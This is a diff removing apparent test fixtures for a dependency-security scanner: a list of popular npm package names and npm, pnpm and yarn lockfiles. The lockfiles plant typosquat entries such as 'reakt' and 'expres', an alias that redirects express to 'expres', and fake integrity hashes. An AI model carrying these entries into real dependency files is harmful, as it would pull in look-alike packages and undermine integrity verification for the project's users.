"express", "koa", "koa-router", "koa-body", "koa-static", "koa-send", "koa-compress", "koa-logger", "koa-cors", "koa-session",
|
|
68
|
-
"axios", "superagent", "got", "node-fetch", "cross-fetch", "isomorphic-fetch", "ky", "ky-universal", "make-fetch-happen", "undici",
|
|
69
|
-
"lodash", "ramda", "lodash-es", "lodash.merge", "lodash.get", "lodash.set", "lodash.clonedeep", "lodash.isequal", "lodash.pick", "lodash.omit",
|
|
70
|
-
"defu", "merge-options", "deepmerge", "assign-deep", "deep-assign", "defaults-deep", "clone-deep", "merge-deep2", "merge-descriptors", "utils-merge",
|
|
71
|
-
"uuid", "nanoid", "cuid", "ulid", "bson", "objectid", "shortid", "hyperid", "flake-idgen", "snowflake-id",
|
|
72
|
-
"express", "passport", "bcrypt", "jsonwebtoken", "helmet", "cors", "express-rate-limit", "express-session", "cookie-parser", "csurf",
|
|
73
|
-
"next-auth", "passport", "passport-jwt", "passport-local", "keycloak-connect", "oauth2orize", "grant", "openid-client", "node-oidc-provider", "iron-session",
|
|
74
|
-
"lodash", "rxjs", "immer", "immutable", "seamless-immutable", "dot-prop", "object-path", "selectn", "rfdc", "clone",
|
|
75
|
-
"react-router", "react-router-dom", "reach-router", "wouter", "raviger", "navigation-react", "router5", "universal-router", "redux-router", "connected-react-router",
|
|
76
|
-
"redux", "redux-toolkit", "mobx", "mobx-react-lite", "recoil", "jotai", "zustand", "valtio", "xstate", "effector",
|
|
77
|
-
"react-query", "tanstack-query", "swr", "apollo-client", "urql", "relay-runtime", "react-apollo", "graphql-request", "rtk-query", "redux-observable",
|
|
78
|
-
"react-hook-form", "formik", "react-final-form", "redux-form", "uniforms", "react-jsonschema-form", "informed", "react-form", "formily", "vest",
|
|
79
|
-
"d3", "chart.js", "echarts", "highcharts", "plotly.js", "recharts", "victory", "nivo", "visx", "billboard.js",
|
|
80
|
-
"three", "babylonjs", "phaser", "pixi.js", "playcanvas", "aframe", "cannon-es", "ammo.js", "oimo", "matter-js",
|
|
81
|
-
"leaflet", "openlayers", "mapbox-gl", "cesium", "deck.gl", "luma.gl", "turf", "geolib", "geojson", "proj4",
|
|
82
|
-
"i18next", "react-i18next", "polyglot", "i18n", "i18n-js", "formatjs", "lingui", "react-intl", "react-intl-universal", "fbt",
|
|
83
|
-
"pdfkit", "pdf-lib", "pdfmake", "pdfjs", "jspdf", "pdf2json", "pdf-parse", "pdf2pic", "html-pdf", "puppeteer",
|
|
84
|
-
"exceljs", "xlsx", "csv-parse", "csv-stringify", "csvtojson", "csv-parser", "papaparse", "json2csv", "csv2json", "csv-writer",
|
|
85
|
-
"mongoist", "mongojs", "mongodb-memory-server", "mongodb-memory-server-core", "mongotop", "mongostat", "mongorestore", "mongodump", "mongo-hacker", "mongoplayground",
|
|
86
|
-
"json2typescript", "ts-json-serializer", "class-transformer", "autobind-decorator", "reflect-metadata", "typed-mock", "ts-mockito", "jest-mock-extended", "type-mock", "typemoq"
|
|
87
|
-
]
|
|
@@ -1,69 +0,0 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "test-project",
|
|
3
|
-
"version": "1.0.0",
|
|
4
|
-
"lockfileVersion": 3,
|
|
5
|
-
"packages": {
|
|
6
|
-
"": {
|
|
7
|
-
"name": "test-project",
|
|
8
|
-
"version": "1.0.0",
|
|
9
|
-
"dependencies": {
|
|
10
|
-
"lodash": "^4.17.21",
|
|
11
|
-
"axios": "^1.6.0"
|
|
12
|
-
},
|
|
13
|
-
"devDependencies": {
|
|
14
|
-
"@babel/core": "^7.23.0"
|
|
15
|
-
}
|
|
16
|
-
},
|
|
17
|
-
"node_modules/lodash": {
|
|
18
|
-
"name": "lodash",
|
|
19
|
-
"version": "4.17.21",
|
|
20
|
-
"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
|
|
21
|
-
"integrity": "sha512-v2kDEeDAnj4p1hhL6Ogrgu4BSWwg8cD2fRIouDAiqwu+iNl1IvyMex9jG9j8OpNp1zntnv/headququbit",
|
|
22
|
-
"dependencies": {}
|
|
23
|
-
},
|
|
24
|
-
"node_modules/axios": {
|
|
25
|
-
"name": "axios",
|
|
26
|
-
"version": "1.6.8",
|
|
27
|
-
"resolved": "https://registry.npmjs.org/axios/-/axios-1.6.8.tgz",
|
|
28
|
-
"integrity": "sha512-j2xvyqwsdd456789abcdef",
|
|
29
|
-
"dependencies": {
|
|
30
|
-
"form-data": "4.0.0",
|
|
31
|
-
"proxy-from-env": "1.1.0"
|
|
32
|
-
}
|
|
33
|
-
},
|
|
34
|
-
"node_modules/axios/node_modules/form-data": {
|
|
35
|
-
"version": "4.0.0",
|
|
36
|
-
"resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
|
|
37
|
-
"integrity": "sha512-444567890123456"
|
|
38
|
-
},
|
|
39
|
-
"node_modules/@babel/core": {
|
|
40
|
-
"name": "@babel/core",
|
|
41
|
-
"version": "7.23.9",
|
|
42
|
-
"resolved": "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz",
|
|
43
|
-
"integrity": "sha512-5q+M1iEJCOrGJs9NxzG3p3z7w2cJK/QuoRoI2pOJhtcNQjl9y7w6w4At5ZQHZdwqd+5N5G1lULu7I6pXVBw==",
|
|
44
|
-
"dev": true,
|
|
45
|
-
"dependencies": {
|
|
46
|
-
"@babel/generator": "^7.23.6",
|
|
47
|
-
"@babel/parser": "^7.23.9"
|
|
48
|
-
}
|
|
49
|
-
},
|
|
50
|
-
"node_modules/reakt": {
|
|
51
|
-
"name": "reakt",
|
|
52
|
-
"version": "18.2.0",
|
|
53
|
-
"resolved": "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz",
|
|
54
|
-
"integrity": "sha-abcdabcd1234defghi",
|
|
55
|
-
"optional": true,
|
|
56
|
-
"dependencies": {}
|
|
57
|
-
},
|
|
58
|
-
"node_modules/express": {
|
|
59
|
-
"name": "express",
|
|
60
|
-
"version": "4.18.2",
|
|
61
|
-
"resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz",
|
|
62
|
-
"integrity": "sha512-abcdabcd1234abcdefghi",
|
|
63
|
-
"dependencies": {
|
|
64
|
-
"accepts": "~1.3.8",
|
|
65
|
-
"body-parser": "1.20.2"
|
|
66
|
-
}
|
|
67
|
-
}
|
|
68
|
-
}
|
|
69
|
-
}
|
|
@@ -1,118 +0,0 @@
|
|
|
1
|
-
lockfileVersion: "6.0"
|
|
2
|
-
|
|
3
|
-
importers:
|
|
4
|
-
.:
|
|
5
|
-
dependencies:
|
|
6
|
-
lodash: "^4.17.21"
|
|
7
|
-
axios: "^1.6.0"
|
|
8
|
-
devDependencies:
|
|
9
|
-
"@babel/core": "^7.23.0"
|
|
10
|
-
optionalDependencies:
|
|
11
|
-
chalk: "^5.3.0"
|
|
12
|
-
peerDependencies:
|
|
13
|
-
react: ">=16"
|
|
14
|
-
|
|
15
|
-
packages:
|
|
16
|
-
"/lodash@4.17.21":
|
|
17
|
-
resolution:
|
|
18
|
-
url: "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz"
|
|
19
|
-
sha512: X2xvyqwsdd456789abcdefghijk
|
|
20
|
-
dev: false
|
|
21
|
-
optional: false
|
|
22
|
-
dependencies: {}
|
|
23
|
-
|
|
24
|
-
"/axios@1.6.8":
|
|
25
|
-
resolution:
|
|
26
|
-
url: "https://registry.npmjs.org/axios/-/axios-1.6.8.tgz"
|
|
27
|
-
sha512: j2xvyqwsdd456789abcdef
|
|
28
|
-
dev: false
|
|
29
|
-
optional: false
|
|
30
|
-
dependencies:
|
|
31
|
-
form-data: "4.0.0"
|
|
32
|
-
proxy-from-env: "1.1.0"
|
|
33
|
-
|
|
34
|
-
"/reakt@18.2.0":
|
|
35
|
-
resolution:
|
|
36
|
-
url: "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz"
|
|
37
|
-
sha512: abcdefghijk123456789
|
|
38
|
-
dev: false
|
|
39
|
-
optional: true
|
|
40
|
-
dependencies: []
|
|
41
|
-
|
|
42
|
-
"/@babel/core@7.23.9":
|
|
43
|
-
resolution:
|
|
44
|
-
url: "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz"
|
|
45
|
-
sha512: k2yVyqwsdd456789abcdefghij
|
|
46
|
-
dev: true
|
|
47
|
-
optional: false
|
|
48
|
-
dependencies:
|
|
49
|
-
"@babel/generator": "7.23.6"
|
|
50
|
-
"@babel/parser": "7.23.9"
|
|
51
|
-
"@babel/traverse": "7.23.9"
|
|
52
|
-
"@babel/types": "7.23.9"
|
|
53
|
-
convert-source-map: "2.0.0"
|
|
54
|
-
debug: "4.1.0"
|
|
55
|
-
gensync: "1.0.0-beta.2"
|
|
56
|
-
json5: "2.2.3"
|
|
57
|
-
semver: "6.3.1"
|
|
58
|
-
|
|
59
|
-
"/@babel/generator@7.23.6":
|
|
60
|
-
resolution:
|
|
61
|
-
url: "https://registry.yarnpkg.com/@babel/generator/-/generator-7.23.6.tgz"
|
|
62
|
-
sha512: abcdefghijk12345678abcdef
|
|
63
|
-
dev: false
|
|
64
|
-
optional: false
|
|
65
|
-
dependencies:
|
|
66
|
-
"@babel/types": "7.23.6"
|
|
67
|
-
"@jridgewell/gen-mapping": "0.3.2"
|
|
68
|
-
"@jridgewell/trace-mapping": "0.3.17"
|
|
69
|
-
jsesc: "2.5.1"
|
|
70
|
-
|
|
71
|
-
"/expres@4.18.2":
|
|
72
|
-
resolution:
|
|
73
|
-
url: "https://registry.npmjs.org/expres-4.18.2.tgz"
|
|
74
|
-
sha512: abcdefghijk12345678
|
|
75
|
-
dev: false
|
|
76
|
-
optional: false
|
|
77
|
-
dependencies:
|
|
78
|
-
accepts: "1.3.8"
|
|
79
|
-
array-flatten: "1.1.1"
|
|
80
|
-
body-parser: "1.20.2"
|
|
81
|
-
content-disposition: "0.5.4"
|
|
82
|
-
content-type: "1.0.5"
|
|
83
|
-
cookie: "0.5.0"
|
|
84
|
-
cookie-signature: "1.0.6"
|
|
85
|
-
debug: "2.6.9"
|
|
86
|
-
depd: "2.0.0"
|
|
87
|
-
encodeurl: "1.0.2"
|
|
88
|
-
escape-html: "1.0.3"
|
|
89
|
-
etag: "1.8.1"
|
|
90
|
-
finalhandler: "1.2.0"
|
|
91
|
-
fresh: "0.5.2"
|
|
92
|
-
http-errors: "2.0.0"
|
|
93
|
-
merge-descriptors: "1.0.1"
|
|
94
|
-
methods: "1.1.2"
|
|
95
|
-
on-finished: "2.4.1"
|
|
96
|
-
parseurl: "1.3.3"
|
|
97
|
-
path-to-regexp: "0.1.7"
|
|
98
|
-
proxy-addr: "2.0.7"
|
|
99
|
-
qs: "6.11.0"
|
|
100
|
-
range-parser: "1.2.1"
|
|
101
|
-
safe-buffer: "5.2.1"
|
|
102
|
-
send: "0.18.0"
|
|
103
|
-
serve-static: "1.15.0"
|
|
104
|
-
setprototypeof: "1.2.0"
|
|
105
|
-
statuses: "2.0.1"
|
|
106
|
-
type-is: "1.6.18"
|
|
107
|
-
utils-merge: "1.0.1"
|
|
108
|
-
vary: "1.1.2"
|
|
109
|
-
|
|
110
|
-
"/my-scope-plugin@1.0.0":
|
|
111
|
-
resolution:
|
|
112
|
-
url: "https://registry.npmjs.org/my-scope-plugin/-/my-scope-plugin-1.0.0.tgz"
|
|
113
|
-
sha512: defghijk123456789abcdef
|
|
114
|
-
dev: false
|
|
115
|
-
optional: false
|
|
116
|
-
dependencies:
|
|
117
|
-
lodash: "4.17.21"
|
|
118
|
-
axios: "1.6.8"
|
|
@@ -1,104 +0,0 @@
|
|
|
1
|
-
lodash@^4.17.21:
|
|
2
|
-
version "4.17.21"
|
|
3
|
-
resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz"
|
|
4
|
-
integrity sha512-Vythumb
|
|
5
|
-
dependencies: {}
|
|
6
|
-
dev false
|
|
7
|
-
optional true
|
|
8
|
-
|
|
9
|
-
axios@^1.6.0:
|
|
10
|
-
version "1.6.8"
|
|
11
|
-
resolved "https://registry.yarnpkg.com/axios/-/axios-1.6.8.tgz"
|
|
12
|
-
integrity sha-j2xvyqwsdd456789abcdef
|
|
13
|
-
dependencies:
|
|
14
|
-
form-data "4.0.0"
|
|
15
|
-
proxy-from-env "1.1.0"
|
|
16
|
-
dev false
|
|
17
|
-
optional false
|
|
18
|
-
|
|
19
|
-
"@babel/core@^7.23.0", "@babel/core@^7.23.9":
|
|
20
|
-
version "7.23.9"
|
|
21
|
-
resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz"
|
|
22
|
-
integrity sha512-5q+M1iEJCOrGJs9NxzG3p3z7w2cJK/QuoRoI2pOJhtcNQjl9y7w6w4At5ZQHZdwqd+5N5G1lULu7I6pXVBw==
|
|
23
|
-
dependencies:
|
|
24
|
-
"@babel/generator" "^7.23.6"
|
|
25
|
-
"@babel/parser" "^7.23.9"
|
|
26
|
-
"@babel/traverse" "^7.23.9"
|
|
27
|
-
"@babel/types" "^7.23.9"
|
|
28
|
-
convert-source-map "^2.0.0"
|
|
29
|
-
debug "^4.1.0"
|
|
30
|
-
gensync "^1.0.0-beta.2"
|
|
31
|
-
json5 "^2.2.3"
|
|
32
|
-
semver "^6.3.1"
|
|
33
|
-
rimraf "^3.0.2"
|
|
34
|
-
dev true
|
|
35
|
-
optional false
|
|
36
|
-
|
|
37
|
-
"@babel/generator@^7.23.6", "@babel/generator@^7.23.9":
|
|
38
|
-
version "7.23.6"
|
|
39
|
-
resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.23.6.tgz"
|
|
40
|
-
integrity sha512-56bfx9G1AJAFDl5QuK6t7MTCW3CBi7J8j+GxJJPvZ7L1f4P2FG8f9dBiH8Hg4U5Gcb6Bi4Y8DQ8x0j8b1QE8w==
|
|
41
|
-
dependencies:
|
|
42
|
-
"@babel/types" "^7.23.6"
|
|
43
|
-
"@jridgewell/gen-mapping" "^0.3.2"
|
|
44
|
-
"@jridgewell/trace-mapping" "^0.3.17"
|
|
45
|
-
jsesc "^2.5.1"
|
|
46
|
-
dev false
|
|
47
|
-
optional false
|
|
48
|
-
|
|
49
|
-
reakt@^18.2.0:
|
|
50
|
-
version "18.2.0"
|
|
51
|
-
resolved "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz"
|
|
52
|
-
integrity sha512-abcdabcd1234defghi
|
|
53
|
-
dependencies: []
|
|
54
|
-
dev false
|
|
55
|
-
optional true
|
|
56
|
-
|
|
57
|
-
express@npm:expres@^4.18.2:
|
|
58
|
-
version "4.18.2"
|
|
59
|
-
resolved "https://registry.npmjs.org/expres-4.18.2.tgz"
|
|
60
|
-
integrity sha512-abcdabcd1234abcdefghi
|
|
61
|
-
dependencies:
|
|
62
|
-
accepts "~1.3.8"
|
|
63
|
-
array-flatten "1.1.1"
|
|
64
|
-
body-parser "1.20.2"
|
|
65
|
-
content-disposition "0.5.4"
|
|
66
|
-
content-type "~1.0.5"
|
|
67
|
-
cookie "0.5.0"
|
|
68
|
-
cookie-signature "1.0.6"
|
|
69
|
-
debug "2.6.9"
|
|
70
|
-
depd "2.0.0"
|
|
71
|
-
encodeurl "~1.0.2"
|
|
72
|
-
escape-html "~1.0.3"
|
|
73
|
-
etag "~1.8.1"
|
|
74
|
-
finalhandler "1.2.0"
|
|
75
|
-
fresh "0.5.2"
|
|
76
|
-
http-errors "2.0.0"
|
|
77
|
-
merge-descriptors "1.0.1"
|
|
78
|
-
methods "~1.1.2"
|
|
79
|
-
on-finished "2.4.1"
|
|
80
|
-
parseurl "~1.3.3"
|
|
81
|
-
path-to-regexp "0.1.7"
|
|
82
|
-
proxy-addr "~2.0.7"
|
|
83
|
-
qs "6.11.0"
|
|
84
|
-
range-parser "~1.2.1"
|
|
85
|
-
safe-buffer "5.2.1"
|
|
86
|
-
send "0.18.0"
|
|
87
|
-
serve-static "1.15.0"
|
|
88
|
-
setprototypeof "1.2.0"
|
|
89
|
-
statuses "2.0.1"
|
|
90
|
-
type-is "~1.6.18"
|
|
91
|
-
utils-merge "1.0.1"
|
|
92
|
-
vary "~1.1.2"
|
|
93
|
-
dev false
|
|
94
|
-
optional false
|
|
95
|
-
|
|
96
|
-
"my-scope-plugin@npm:my-scope-plugin@^1.0.0":
|
|
97
|
-
version "1.0.0"
|
|
98
|
-
resolved "https://registry.npmjs.org/my-scope-plugin-1.0.0.tgz"
|
|
99
|
-
integrity sha512-abcdefghijk123456789abcdef
|
|
100
|
-
dependencies:
|
|
101
|
-
lodash "^4.17.21"
|
|
102
|
-
axios "^1.6.0"
|
|
103
|
-
dev false
|
|
104
|
-
optional false
|